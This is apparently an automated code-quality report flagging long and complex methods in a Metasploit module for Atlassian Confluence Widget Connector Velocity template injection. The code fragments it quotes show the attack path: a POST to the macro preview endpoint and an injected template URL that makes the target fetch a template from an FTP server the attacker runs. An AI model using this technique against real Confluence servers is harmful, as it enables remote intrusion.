File confluence_widget_connector.rb
has 319 lines of code (exceeds 250 allowed). Consider refactoring. Open
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
Class MetasploitModule
has 24 methods (exceeds 20 allowed). Consider refactoring. Open
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
Method initialize
has 57 lines of code (exceeds 25 allowed). Consider refactoring. Open
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Atlassian Confluence Widget Connector Macro Velocity Template Injection',
Method inject_template
has 34 lines of code (exceeds 25 allowed). Consider refactoring. Open
def inject_template(service_url, timeout = 20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
Method exploit_as_java
has 26 lines of code (exceeds 25 allowed). Consider refactoring. Open
def exploit_as_java
res_code, tmp_path = get_tmp_path
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
Method get_java_property
has a Cognitive Complexity of 9 (exceeds 5 allowed). Consider refactoring. Open
def get_java_property(prop)
@prop = prop
res = inject_template("ftp://#{srvhost}:#{srvport}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")
if res && res.body
if res.body.empty?
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method inject_template
has a Cognitive Complexity of 7 (exceeds 5 allowed). Consider refactoring. Open
def inject_template(service_url, timeout = 20)
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')
res = send_request_cgi({
'method' => 'POST',
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"
Further reading
Method exploit_as_java
has a Cognitive Complexity of 6 (exceeds 5 allowed). Consider refactoring. Open
def exploit_as_java
res_code, tmp_path = get_tmp_path
unless res_code == 0
fail_with(Failure::Unknown, 'Unable to get the temp path.')
- Read upRead up
Cognitive Complexity
Cognitive Complexity is a measure of how difficult a unit of code is to intuitively understand. Unlike Cyclomatic Complexity, which determines how difficult your code will be to test, Cognitive Complexity tells you how difficult your code will be to read and comprehend.
A method's cognitive complexity is based on a few simple rules:
- Code is not considered more complex when it uses shorthand that the language provides for collapsing multiple statements into one
- Code is considered more complex for each "break in the linear flow of the code"
- Code is considered more complex when "flow breaking structures are nested"